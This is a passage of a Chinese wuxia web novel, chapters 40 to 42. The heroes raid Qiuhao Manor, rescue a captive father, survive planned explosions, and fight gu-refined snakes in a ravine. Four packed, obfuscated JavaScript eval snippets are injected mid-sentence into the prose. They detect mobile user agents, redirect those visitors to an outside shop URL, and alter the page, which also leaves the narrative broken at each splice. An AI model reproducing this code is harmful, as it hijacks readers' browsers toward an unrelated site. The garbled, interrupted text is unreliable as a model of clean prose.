恰在这时,前方深山密林中露出一角飞檐,救赵青山于水火之中,他忙道:“到了,那便是秋毫山庄。” 正事面前,罗赞也收起心思,肃容以待。 也不知无忧门出于什么打算,竟将山庄建在一处悬崖边上,与三人隔了一条深涧,约有数丈之宽,其下深不见底。 三人隐藏在一棵高树茂密的树冠中打量过去,只见那庄子白墙黛瓦,一派江南风韵,其间不时有人影穿梭腾挪。 赵青山突地皱眉,取下面巾嗅了嗅,道:“好浓的药味儿——是能中和瘴气的藿兰香,这用量也太多了。” 对上另两人稍显疑惑的目光,他解释道:“只消一两藿兰香,便足以中和方圆三里内的瘴气,看这山庄面积,用个五六斤左右便够了,但我闻着这味道,远不止这点分量。” “‘一两千金’的那个藿兰香?”秦月明有些惊讶。 藿兰香是当初失心毒之祸中,一位江湖神医发明的香药,试验过后虽不能解开失心之毒,却阴差阳错有中和瘴毒之效。 制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101390|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作此药所需的都是昂贵药材,加之工序繁复,产量稀少,许多人求购不得,才有“一两千金”的说法。 “正是此香药,虽不至于真的千金一两,也不便宜,看来无忧门在东南搜刮了不少油水。”赵青山道。 秦月明点点头,道:“我先入内查探。” “我与你一道。”赵青山连忙道。 罗赞皱眉看过去,秦月明也斜飞一眼。 “我总觉得这藿兰香用得古怪,欲进去细查一番。”赵青山解释道。 在场三人只有他通医理,罗赞也不好阻止。 于是便留罗赞在外警戒,秦、赵二人入庄暗探。 深涧虽阔,对两位武林高手来说也不过多费些内力的事,很快两人便越过这道壑谷,潜进山庄。 进山潜便料到有暗探一节,三人都各换了一身灰衣,当此之时,秦月明与赵青山各据一处屋檐阴影,毫不起眼,等着下方巡逻的人走过。 他们现在探查的是山庄前厅,大门紧闭,守卫十分森严,仿佛藏了什么了不得的秘密。 秦月明与赵青山耐心等待,在第三批巡逻弟子交接时,厅内忽的响起一阵极轻的机括声响。 两人隔空对视一眼,片刻后,一名男子打开厅门走了出来。 秦月明眼中闪过一丝厉色,此人提刀而立,面容俊秀,神情散漫,正是阳素名。 巡逻弟子行礼唤道:“阳公子。” “守好此处,一只蚊子都不许放入。”阳素名吩咐道。 “是!” 趁众人注意被转移,秦月明与赵青山悄无声息地进入厅内。 前厅地面以一块块方形大理石铺就,在室外投进的些微天光下散发着温润的光泽。 秦月明的目光落在其中两块大理石砖上,发现那上面的灰尘与相邻的石砖不太相同。 她走过去,试探着在两块石砖上踩了踩—— 毫无动静。 赵青山看着她的动作,眉梢一扬,一边传音一边走过去,道:“你发现——” 当赵青山踩到某块地砖上时,意外陡生,只见秦月明脚下的石砖倏地一陷,她措手不及,往下坠去。 电光石火之间,赵青山来不及思考,将飞白镜施展到极致,赶在石砖合拢前跟着跳了下去。 那是一条约两三丈的甬道,看着快要到底时,秦月明不慌不忙施展轻功,平安落地。 这点高度当然不能奈何她,正当她打量四周时,眼前一花,赵青山落到她面前,目光灼灼:“你没事罢?” “你也掉下来了?”秦月明一怔,“我没事。” 赵青山上下扫视,见她连发丝都不曾乱半分,才彻底松了一口气,抬头观察周围。 甬道四壁光滑,一看便是人工开凿,洞底只有一条地道,黑黝黝的,不知通往何处。 两人艺高人胆大,确认只有这一条路后便毫不犹豫地走了进去。 地道蜿蜒崎岖,不过并没有什么机关陷阱,两人顺利走了约一盏茶功夫,就见前方隐隐透出烛火光亮。 秦月明与赵青山对视一眼,持弓提刀,谨慎上前,却见那是一座地牢,其中只有一名囚犯,虽头发蓬乱,仍可见俊朗无双,正是秦月明失踪已久的生身父亲——秦笃! 赵青山眼中杀意一闪。 40. 白头生死鸳鸯浦 “锵!” 玄铁弓臂与陨铁刀刃相交格出刺耳的声音,神情木然的狱囚被惊动,动作迟缓地起身,手脚上的铁链叮当作响。 秦月明挡在牢门前,赵青山因情绪激动而充血的眼眸近在咫尺,她咬咬牙,抬起左手,小臂从七星高的刀尖划过。 绝世宝刀锋利无匹,毫不费力地切开皮肉,鲜血瞬间喷涌而出,滴溅到两人的兵器、身体上。 “你!”赵青山瞳孔一缩,手上不自觉软了。 秦月明趁此出手如电,点住他周身大穴,对上他不可置信的眼神,重重喘了一口气,眼眶因情绪激动而泛起泪意—— 她知道自己在沈潜心中的地位,一直不愿用这份重视来对付对方,但眼前这种情形,她再顾不得许多。 “官府判案尚会在疑犯辩解无果之后才定罪,你何不留给我问他几句话的空档。”秦月明声音嘶哑。 “你且先点穴止血……你是何时发现我的身份?”赵青山情绪激荡,用力闭了闭眼,涩声冷笑道,“罢了,这不重要,你要问便问,我现在难道还能阻止?” 秦月明给自己止了血,深吸一口气,转头扭断牢门铁锁,抢身进去,扶住神色木然的秦笃,定定注视着他的双眼,问道:“沈家灭门案到底怎么回事?与你有关么?” 秦笃不知在无忧门手中受了多少折磨,虽外表上没有任何损伤,但是眼神空洞,仿佛一个没有神志的木偶,然而听到“沈家”二字,他眸中登时癫狂翻涌,反手死死握住秦月明的手臂,面露狰狞:“沈家……灭门……我要……杀……” · 秋毫山庄内,阳素名正与属下过招,忽闻各处檐铃齐响,声振林樾。 “呵,”阳素名收刀而立,语气不知是赞叹还是惋惜,“不愧是秦月明。” “公子如何确定来者是金仆姑?”属下好奇道。 “我不确定,但我希望是。”阳素名幽幽叹了一口气,“若能让她折在这里,宓娘娘的大业便可少一半阻碍。” “区区金仆姑,竟有如此大的作用?” 阳素名摇摇头,轻笑道:“当初龙驹寨之事后,武林中对秦月明议论纷纷,却无人敢真正与她当面,那杜留晖放过狠话后就灰溜溜回了东南,你当是为何?” “这……”属下似懂非懂地睁大双眼,还未问出下一个问题,便被进来禀报的弟子打断。 “阳公子,有人闯入地牢,是否动手?” 阳素名转着刀,看了看西南方向,又看了看吉州方向,眼中掠过一丝微不可察的怅然,尔后果断道:“依计行事。” 自那阵铃声响起,守在山庄外的罗赞便心生警觉,片刻后,他发现之前还隐约可见人影晃动的庄院倏然沉寂下来。 罗赞皱紧眉头,攀上秋毫山庄的墙垣,定神细看,却见园中已空无一人,一股古怪刺鼻的味道混在藿兰香中钻进他的鼻腔,让他瞬间脸色大变—— 是火药! 他在顾不上隐匿,直接翻墙而入,飞快在庄内转了一圈,未曾见到一个无忧门之人,倒是把几处点燃的引信灭了,但火药味丝毫未消,反倒愈发浓烈起来,秦月明与赵青山又不见人影。 罗赞实在心焦,索性抽出长剑,内力翻涌而出。 阳素名带着一众无忧门弟子从暗道离开山庄,才翻过一条深沟,便听身后轰隆声阵阵,不由一愣。 茂密的林木遮挡了众人的视线,一名无忧门弟子嘀咕道:“那么长的引信就烧完了?” 也有人道:“这动静不似火药爆炸。” 虽如此说,众人还是默契地加快了脚步,他们奉门中密令来此作饵,却不想把命丢在这里。 山庄地下,秦月明与赵青山也正在逃命。 方才秦月情绪激动之下,失手将地牢墙壁打出一个大洞,却让赵青山嗅出了火药的味道,两人瞬间意识到不对。 秦月明飞奔如电,转过地道一个又一个的弯,赵青山负着秦笃,疾走如飞,紧随其后,三人很快赶到秦、赵两人落下的地方。秦月明飞攀到顶端,推了推合拢的两块石砖,感受到一道不正常的阻力。 “外头被堵上了。”她眉心一拢,眼中厉色闪过,毫不迟疑地轰出一掌,霎时将两块地砖拍得碎裂开来。 内力倾泻,霎时将迸溅的大理石块以及上方的东西掀飞了出去。 然而看清飞出去的东西后,秦月明登时变了脸色,顶着石块飞出去,将那几个圆滚滚的东西捞到手中,才松了一口气。 赵青山不明所以,背着秦笃飞上来落地,看见秦月明手中的东西后,神色也是一变:“轰天雷!” 江湖中虽有烈火堂、天雷门等钻研火器的门派,不过备受官府管制,至于轰天雷这等军用利器,若有人敢仿造,便是卿家灭族之祸。 赵青山曾替陈越督运过一段时间的军械,其中便有轰天雷,而秦月明手中的轰天雷与军中毫无二致。 比起猜测有人仿造,他更倾向于,这些东西正是来自军中。 军中火器的火药配方向来属于朝廷最高机密,而其比之江湖民间所用,威力更胜百倍。 若不是秦月明方才飞快反应,待这些轰天雷撞到地上炸开,整座前厅都可能不保,更别提在身在其中的他们了。 “小明月!”这时,罗赞听到此处的动静,夺门而入,“快走!” 不需要罗赞说明情势,火药味已经浓烈到将藿兰香完全掩盖,三人不再耽搁,全力施展轻功向外飞去。 “轰!” “轰!” …… 三人才飞出前厅,就见庄园西北角泥土飞溅、墙屋塌颓,伴随着震天的爆炸声,脚下的土地一阵晃动。 紧接着庄园各处爆炸声不绝于耳,泥砖齐飞,地动山摇,仿佛地龙翻身。 一边是悬崖深谷,爆炸之下,险象环生,三人一路向另一头与山庄交界的深林而去。 “轰隆!” 秦月明挥出掌风,消解了前方爆炸的余波,正要冲出去,却听赵青山喝道:“等等!” 不待他解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128195|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秦月明便从蛊蝶的躁动中窥见了前方的异样。 幕后之人心思狠毒缜密,步步杀招,譬如之前的轰天雷,此时此刻出现在这里的陷阱,绝非寻常。 三人毫不犹豫,转身奔往深涧方向。 爆炸声愈发密集,也不知无忧门在这底下埋了多少火药。 这时,只听“轰哗啦”一声巨响,悬崖一侧被爆炸炸得泥石酥软,再也支撑不住,剥落下深涧之中。 罗赞急忙停住脚步,又拦了另两人一把。 悬崖这一塌,使深涧宽阔了许多,使三人距离对面山林远了好几分。 身后爆炸声没有丝毫停歇的迹象,情势危急,他们已经没有时间去找更窄的地方,赵青山当机立断,将秦笃甩到罗赞背上,道:“罗前辈,你们先走,我与明月殿后。” “好!”多纠缠一分危险就多一分,罗赞毫不犹豫答应下来,背起秦笃,足尖一点,向对面飞去。 秦月明正想动作,却被赵青山夺去背后长弓,凝聚内力,在罗赞气力不济时射出,给他借力,一边道:“你手不要了?” 两人一起长大,对彼此的武功绝学都了如指掌,能学七分,如此已足够赵青山助罗赞到达对面。 三人都不敢松懈,不消赵青山催促,秦月明便欲施展轻功,却觉脚下一动,这块地方也已支持不住,从山体剥落,坠向深涧。 千钧一发之际,赵青山闪电般攥住秦月明的手臂,用尽全身内力将她扔向对面,随后射出几团内力,供她借力。 这一套动作下来,他自己已失了自救的时机与力气,直直坠|落。 秦月明身不由己地飞出,旋身之际正见到赵青山消失在深涧雾岚之中,瞳孔剧震,毫不犹豫地合身扑下,追着那道身影而去。 · “啊!” 陈书灯惊叫一声,瞬间窜到陈越身后。 “就你这点胆子,还是闯荡江湖的侠女呢?”陈越嘲笑道。 “总比某个逃家不成,被揪回来严加看管的人强。”陈书灯捶了下他的背,又解释道,“我在江湖上也没见过这样的尸体啊。” 一行人已进了洪州境内发洪水的地界,前往一处村庄探查,将陈书灯吓了一跳的那具尸体正横在进村的小路上,全身浮囊。 队伍中擅长验尸的人上前检查过后,道:“应是被洪水淹溺而亡,此地低洼,容易积水,尸体在水中泡了很长时间。” 陈越皱眉。 自朝廷从那窝囊青年处收到东南豪强联手谋反的消息后,便细查了东南这些年的钱粮支应之类,果真发现了不对劲,最让朝中诸公震怒的是,江南武备司竟无端失了一批火药火器,如今看来已经落入了逆贼之手,其中幽微之处,还需细查。 陈越正是为此而来,他们根据窝囊青年——严明提供的消息,以及来东南后探查到的消息,将目光落在了这座叫作“黄家村”的普通村庄,岂料还未入村便遇到这一幕。 “洪灾已去多日,此地官员怎还未着人收敛尸骨?” 41. 满眼春风百事非 “唔,咳咳!”赵青山脊背狠狠撞到崖壁突出的大石上,心肺一痛,几欲呕血。 秋毫山庄下的火药不知来自何处,爆炸起来威力不凡,三人轮番消解冲击,本就消耗了大半内力,他方才为救秦月明,情急之下更是内力透支,若不是长年习武,体格强健,此时只怕已筋骨断裂了。 他飞快伸手,无奈剧痛之下,动作迟滞了半分,未能及时抓住那石头。 不过有赖这一撞,减缓了赵青山下落的势头,让秦月明赶了上来。 她勾住被赵青山举起的思君弓一侧弓臂,稍一使劲,同时一个翻身,便将人拉到自己上方。 “你!”赵青山见她追来,本就吃了一惊,此时更是惊怒,却不敢挣扎—— 他们正在急速下坠,一个不好失去平衡,两个人都落不着什么好。 “嘭!” 深涧底部,泥土堆成的绵软山丘上陷进去一个深坑。 “嘶!” 秦月明从经脉中榨出最后几分内力护住两人身体,再加上泥土的缓冲,两人俱未受什么重伤,只是秦月明手臂原本的伤口里嵌进去了些碎石。 赵青山晕眩了一会儿,缓过神来,忍着脏腑间的闷痛推开四周泥土,抹了把脸,将秦月明扶起来:“你怎么样?” “小伤,没……事。”秦月明顺着他的力道站起来,有意无意将伤上加伤的手臂往身后藏了藏,抬眼之时不由恍惚了一瞬。 经过几遭折腾,赵青山脸上的易容本就受损严重,刚才那一抹彻底将面具揉了下来,露出他原本那张脸。 沈有思与赵云乡都是容貌不俗之辈,沈潜的长相取两人之长,脸部轮廓分明,浓眉如剑,斜飞入鬓,一双上挑的丹凤眼漆黑深邃,挺拔的鼻梁下薄唇紧抿成线,泄露了主人此时焦躁难言的心绪。 ……明明上次见这张脸不过一月之前,如今看到却有恍若隔世之感。 也许是因为当时那双眼中情绪太过复杂阴翳,如今同样一双眼…… “秦月明?”此情此景,秦月明竟发起呆来,赵青山有些无奈。 “……我好像踩到七星高了。”秦月明回过神,目光一闪,从被泥土淹没的脚下摸出一柄长刀。 之前赵青山为使用思君弓,将七星高插到地上,其后地面塌陷,七星高也随之落了下来。 “果然是宝刀,从如此高的地方摔落竟不见丝毫损伤。”秦月明顺手拔刀查看,雪亮的刀身上映出两人灰头土脸的模样。 “铁刀自然比我们肉|体凡胎坚固。”赵青山轻弹刀刃,只听一声清越细响。 头上仍在絮絮掉落泥石,不知何时会有大石碎墙砸下来,两个内力用尽、精疲力竭的武林高手相互扶携着,翻出土堆,远离这片危险之地。 幽深谷底长年不见日光,植物稀少,乱石嶙峋,一条细窄的小溪蜿蜒淌过。 两人循着溪流来的方向走了大概半盏茶时间,确认安全后才松懈下来,找了个平坦的地方歇下,甚至顾不上打理仪容,便盘坐闭目调息起来。 赵青山心头不安稳,隐约觉得忘了什么事,稍稍压下伤势便睁开了眼,略一定睛,顿时目光一凝—— 在他几步开外,秦月明正支起左腿,将伤臂搁在膝盖上,撕开粘黏的布料,徒手抠挖其中的碎石颗粒,一汩汩新鲜的血液渗出,缓缓滴落。 地牢之中,秦月明借七星高自伤时并未留手,足足在左臂上划出了一条近五寸长、半寸深的伤口,再经坠|落时那一砸,半条手臂都是血肉模糊的。 “别动。”赵青山沉着脸,动作轻柔地托起秦月明的左臂,从腰带中摸出一支长钳,皱着眉头将伤口中的泥石细细挑出。 他神情实在难看,秦月明莫名心虚气短,低眉垂眼不敢说话。 赵青山清理完伤口,有心责她几句,看到她如此表现,便什么都说不出口了。 秦月明五官精致秾丽,容光慑人,本应是十分具有攻击性的长相,但她生就了一双灵动的杏眼,眼角圆钝,眼尾下垂时,便使整个人呈现出一种可怜无害的气质。 二十多年前,沈潜与秦月明还两相生厌、争斗不休时,深受这双眼荼毒,明明两个人都有错,但只要秦月明眼尾不经意一垂,沈潜就会不自觉反省是不是自己太过分。 后来两人关系改善,沈潜更逃不过这双眼睛的影响,但凡秦月明眉眼略微一低,他就容易心跳失常。 此去经年,他这毛病依旧不见好转。 谷底的石头上攀附着种类各不相同的青苔地衣,赵青山分辨过后,刮下几种,简单处理后敷到秦月明的伤口上。 药料似乎有止痛的效果,秦月明感受着手臂上的痛感渐渐消退,觑了觑赵青山的脸色,小声道:“我这只是外伤,问题不大,你伤势如何?” “死不了。”赵青山冷声道,一边给她敷上最后一点药料。 秦月明听到他说“死”字,眉心一蹙,斜去一眼。 “……内力透支,脏腑受损,并未伤及根基。”赵青山僵了僵,干巴巴地答道。 “你先调息稳住伤势,”秦月明环顾四周,低头忖度片刻,道,“待我恢复几分内力,我们一起去找出去的路。” 谋划秋毫山庄大爆炸的幕后之人心狠手辣、诡计重重,万一这深涧之中还有对方的后手,他们两个伤患应付起来不免吃力。 赵青山点点头,见秦月明闭上双眼,认真调息,才安心盘坐下来。 两人不远处的溪流中,水波微动。 · 深涧之上,秋毫山庄的爆炸声已经停息,原本清雅的园林化作一片废墟,一小半地皮都掉进了深涧,在悬崖上留下一个显眼的缺口。 罗赞眼睁睁看着自家板上钉钉的徒孙媳妇为了个外头的小子,毅然决然跳下深涧,又忧又愁。 偏这时旁边的秦笃又闹腾起来,挣动不休,想往涧中跳去,险将内力亏空的罗赞掀飞出去。 “安生点罢你!”罗赞“唉哟”一声,使劲将人按住,不知是安慰这个神志不清的故人,还是自我开解,“小明月不是冲动的人,既敢跳下去,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254897|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中自有成算,我们俩老的老残的残,就别下去添乱了。” 以他如今内力匮乏的状态,还带着个拖油瓶,真跳下去,一个不慎…… 若把秦笃单独放在这上头也不能让人放心。 罗赞正自烦恼,忽闻身后林中传来“喀嚓”一声树枝断裂之声,登时眉眼一利,霍然转身:“什么人?出来!” 此起彼伏的巨大爆炸声过后,方圆百里内的飞鸟走兽惊逃殆尽,眼下这动静自然不可能是动物发出来的。 “仙客前辈,别来无恙。”一名腰悬长剑的蒙面男子从树后绕出,在罗赞警惕的目光中施施然揭下面巾。 此人看起来年过四旬,面上有几分沧桑,却难掩俊俏,想来年轻时也是个美男子。 罗赞觉他有几分面熟,思索之中还未言语,却见秦笃更加激动起来,周身真气暴动—— 也不知无忧门有什么鬼蜮伎俩要使,抓了秦笃却未废去他的武功。 “云……来!”秦笃眼中癫狂与清明交替闪现,一字一顿。 听到这个名字,罗赞面露恍然:“是你。” 当初长乐城破,榴宫之人得救,未疯癫者不过七人,其中一人最是神志清明,还能给罗赞指路,帮他找到地牢中的秦笃。 这个人名为云来,原是东南与中原交界处的江湖门派——福禄派的少门主,得救之后,他以不想门派蒙羞为由,请求罗赞隐去他的存在。 罗赞考虑过后答应了下来,之后长乐城因陈花饶身死、少主失踪乱成一片,待罗赞回转,已不见云来身影。 一去经年,此人却在此时此地毫无预兆地出现,言笑晏晏,一派风度。 然而罗赞久经世事,人老成精,兼有秦笃的表现在前,轻易便看出他来者不善,心念电转间,眉头一皱,断然道:“无忧门与你有关。” “小徒不懂事,随手建来玩的小门派,竟惊动江湖群雄,实在罪过。”云来状似谦和道,眸中却是毫不掩饰的骄傲。 罗赞已从秦月明口中得知无忧门所作所为,黑着脸斥道:“你深受长乐城之害,如今却借它的势为非作歹,对得起榴宫中的众多冤魂么?” “是长乐城害了他们,又不是我。”云来缓缓抽剑,“而且,我这不是来表达歉意了。” “你想杀我?”罗赞神色平平,提剑不动,“忘恩负义之辈。” “前辈于我确有再造之恩,可惜你竟容陈姜这个小妖女活了下来,便是我的仇人。”云来眼神沉沉,恨意倾泻,“你收容她之时,可曾想到榴宫中的累累白骨?” “稚子无辜。”罗赞面不改色,毫无动摇,“罗某问心无愧。” “哈哈哈,好一个问心无愧!”云来猝然大笑,尔后拭着眼角笑出的泪花,道,“那我们这些被长乐城毁了的人该如何自处?凭什么我们如丧家之犬,见不得光,她作为陈花饶的亲生女儿,却能成为满身荣光的江湖名侠?凭什么?!” 说到最后,他神色陡然狰狞,剑出如龙。 “今天,你们都得死在这里!” 42. 两头蛇南阳卧龙 内力,是武学高手立身的根本。 曾经江湖上出现过一些惊才绝艳之辈,仅靠精妙招式便能跻身高手之列,但他们大都因内力积蓄不足,止步化境。 仙客罗赞是久负盛名的化境高手,一身内力自然澎湃,无奈大半都已在之前的爆炸中耗费,云来在此出手,正是找了个趁人之危的好时机。 剑气携透骨杀意来势汹汹,罗赞收回按住秦笃的手,不慌不忙地拔剑,内力倾泻,剑锋铮然,响彻山林,传至深谷。 “罗前辈的剑歌术,他与人打起来了。”秦月明挥弓拍飞几条弹冲过来的水蛇,眉头一皱,“爆炸、毒雾、埋伏,还有这涧中毒蛇,果真是环环相扣。” “不过藏头露尾的小人,”赵青山眼神冰冷,“师祖行走江湖七十余载,倒不至于在这阴沟翻了船,不必担心,且先把这些东西处理了。” 他说话之时,手上不停,扬起阵阵刀光,将扑来的水蛇拦在几尺开外。 两人周围已堆起一片蛇尸,蛇血蜿蜒汇集入溪,更多的水蛇逐臭而来。 之前两人调息之时忽闻异响,睁眼便见溪水如沸腾一般水花翻涌,原是无数水蛇在其中游动,不少水蛇已上得岸,悄然向他们游来,蓄势待发。 也不知这溪水中到底有多少蛇,两人杀了好一阵子,仍有蛇源源不断涌上岸来。 秦、赵二人内力虽亏,要除掉这些蛇依旧小菜一碟,但如此持续下去却不是办法。 听得崖上的剑歌之声,两人不再耽搁,齐齐向水蛇来的溪流源头而去。 一路无话,半盏茶后,秦月明遇赵青山并肩转过一道弯,还未看清前方景象,便先嗅得一阵扑鼻恶臭,定睛一看,只见有一黑一棕两条巨蟒在山谷尽头的水潭中游走不定,纠缠翻腾。 秦月明本能掩鼻,无奈牵动左臂伤口未成,只得紧蹙眉头,偏头向赵青山道:“刚才那些都是这两条的蛇子蛇孙?” “应当不是,”赵青山回答道,“体型便不相符,你可曾见老虎生出狸奴?” 这比拟生动形象,秦月明霎时反应过来,轻晃了晃头,道:“是我糊涂了,那……” 她话未说完,就觉怀中异动——之前逃命时,她见势不对,忙将蛊蝶栖息的蛊笼揣了进去,使其逃过一劫。 另一头,赵青山也打开腰间尚完好的铁制蛊笼。 爆炸、坠崖等冲击于人而言都是九死一生,对于体型纤弱的蛱蝶来说更是灾难,纵然被护得严实,亦不免在层层震荡中折翅损须,两只蛊蝶鳞翅翕张间都显出几分有气无力。 幸而它们并不是寻常昆虫,而是经了重重炼制的蛊虫,受了伤还能从旁补益。 ——譬如前方的两条蟒蛇。 “蛊”者,由无数毒虫在皿中炼制而成,不过自孟鹰独辟蹊径,将牲畜用蛊法炼之,大放光彩以来,江湖上的蛊师也开始在其他生灵身上动脑筋,却都不如天不收的蛊牲厉害。 秦月明安抚住两只蠢蠢欲动的蛱蝶,留心打量潭中巨蟒,终于在其中一条蟒蛇张嘴时,看清了其口腔中斑驳的纹路—— 蛊之一道,脱不开毒来,这些蛊物遭炼制时,毒素发作的情状不一,有些显露在外,便留下了各种瘢痕伤疤,不同的炼制手法,形成的痕迹也不尽相同。 当初白牦教作乱,秦月明与寨中蛊师一道研究过那些蛊牲,此刻略一回想,道:“这两条蛊蛇,像天不收的手笔。” 赵青山也忆起庄不周的供词,道:“这许是孟鹰与无忧门交易的一部分。” 他嗅了嗅四周弥漫的腥臭,皱眉道,“秋毫山庄中也有与此相似的气味,想来正是无忧门炼蛊之处。” “也许还不止,”秦月明让蛊蝶停在一旁的石壁上,提起长弓,面带霜色,“无忧门中还有金缕宫余孽在,这鸟不归的瘴气正与瘴毒之术相合,不知又让他们钻研出了什么害人的东西。” 赵青山横刀在前,“啧”了一声道:“当年不懂事没斩草除根,让这群人活到现在,是我的过失,出去就弥补。” 说罢,他侧身拔刀劈出,正砍中一颗巴掌大的蛇头。 与此同时,秦月明亦是长弓一扬,挡住一条飞蛇,将它掼到石壁上,砸得稀烂。 原来就在两人闲话之际,已有许多大小不一、粗细不同的蛇只悄然游来,将他们团团包围。 如此逼仄的地方同时出现这么多品种不一的蛇,实在不合常理,佐证了两人的猜想。 蛇类感官敏锐,被炼制成蛊后更应不同凡响,水潭中的两条蛊蛇仍作嬉戏之状,但那不停往这边吞吐的黑红蛇信与竖瞳中的冷光却暴露了它们的不善。 秦月明伤势较轻,内力亦已恢复一二,便足尖一点,率先冲向两条蛊蛇。赵青山紧随其后,劈斩开四周飞窜上来的蛇只。 “哗!” 深棕蛊蛇张着血盆大口,自潭中立起头颈,咬向秦月明,秦月明顺势用弓弦勾住它上颚两颗弯钩状的尖牙,使力往后一拉,便将其整条蛇从水潭中扯了出来。 足有三丈长、一尺多宽的蛇躯重重摔在谷底乱石上,吃痛地挣扎起来,险些让秦月明脱开手,她赶紧跃起,踩到蛇颈上,也顾不得左臂的伤口,双手握住弓臂,一个反绞,火蚕丝搓成的弓弦便深深勒进蛊蛇吻部两侧的血肉中。 另一头,赵青山内伤在身,不能动用内力,但仗着宝刀之利,仍能施展出一身刀术。 他迎上黑色蛊蛇,七星高直刺大张的蛇口,蛊蛇本能感受到利刃的威胁,飞快闭口沉下水潭,躲开这一刀。 赵青山见状,直接反手将刀刺入水潭。 七星高长四尺七寸,乃一把长横刀,然而这水潭是由地底水脉渗出,积年而成,深不见底,赵青山只隐约感觉刀尖划过一片柔韧的物体,随后便莫名一空,再无着力之处,不由烦躁皱眉。 一旁秦月明弓下蛊蛇却无处可逃,剧痛之下挣扎得更加猛烈,蛇尾拍打在溪水上,扬起漫天水花,如夏日倾盆骤雨,将两人淋了个彻底。 赵青山回头来助,正见秦月明左臂上的药料被水冲散,露出泛白的伤口,登时脸色更臭,趁棕蛇被制,提刀几个劈砍,将它斩成了两段,腥臭的蛇血流了一地。 四周的蛇只原本便不敢靠近两条蛊蛇,此时蛇血蔓延开来,更是纷纷逃窜。 见此情景,秦月明眉心一蹙,沉声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387939|133783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“小心蛇血。” “明白。”赵青山答道,用刀将离体后仍不断动弹的后半截蛇躯钉住,踩在它身上等它完全失去活力。 秦月明处的前半截蛇头部分挣扎得比之前还剧烈,她不敢有丝毫放松,脚下灌注内力,牢牢踩在它身上。 偏偏这时,之前遁入深潭的黑蛊蛇又窜了出来,张口吐出一大股黑水。 秦月明眉眼一厉,脚下一个用力,向后腾起,抓住赵青山的肩膀,带他跃到一块凸出的大石上。 那黑水也对得起它不祥的颜色,一落在蛇尸上便发出“滋滋”的声音,蛇尸以肉眼可见的速度被腐蚀。 黑水、尸水与地上蛇血流淌混合,“咕嘟”冒泡几息后,竟褪去渗人的浑浊血腥,变得清澈透明起来。 “不好!”赵青山神色一变,展臂捂住秦月明的口鼻,却没顾得上自己,下一刻便觉头脑晕眩,神志飞快沉入一片深不见底的黑暗之中。 “沈潜!”秦月明接住他软下的身体,眼神中闪过一抹惊惶,尔后也是神智一昏,拼着最后的清明召唤来蛊蝶护卫,便彻底失去了意识。 石壁上,两只巴掌大的蛱蝶舒展鳞翅,翩跹飞舞,所过之处洒下细细的鳞粉,群蛇退避。 最终彩色蛱蝶落在秦月明发上,灰色蛱蝶则飞到那只剩白骨的蛇身处,停在其中露出的完好蛇胆上,探出口中吸器。 片刻后,灰蝶身上闪过一丝微不可察的暗色流光,精神奕奕地飞到秦月明发上,伸出触角碰了碰彩蝶。 有些萎靡的彩蝶将蛇胆中剩余的精华吸取殆尽,重新流光溢彩起来,却并未回到秦月明发间,而是飞到深潭,对着里面的黑蛊蛇虎视眈眈。 蛊蛇自潭中探出半边脑袋,看着彩蝶,同样蠢蠢欲动。 · 秦、赵二人大战蛊蛇时,崖上罗赞也正与云来打得有来有往。 终于,在被一记剑歌荡开两丈外后,云来咬牙道:“你到底还有多少内力?” “不多不多,一二成而已。”罗赞老神在在地一弹剑刃,内力激荡,直冲云来而去,气势汹汹。 云来眼神闪了闪,刺出几道剑花,手腕不经意一抖,几只闪着乌光的袖箭直射罗赞面门。 “叮!”“叮!”…… 罗赞挥剑,轻松挡下这波偷袭,却见云来从袖中掏出一物,往地下一掷,“嘭”的一声,四周霎时烟雾弥漫。 他扬起掌风,挥散烟雾,前方已空无一人——对方见事不谐,竟就这样跑了? 罗赞细细在林中搜索了一圈,确认云来是真的离开了,周围也没有其他埋伏,才松了一口气,回到原处,扶起瘫在地上的秦笃,见他投来警惕的目光,讪然道:“事急从权,借你内力一用,你看,这不是把人吓跑了么?” 失了内力,秦笃似乎反倒更清明了些,扯着罗赞指向深涧:“下、下去,救人。” 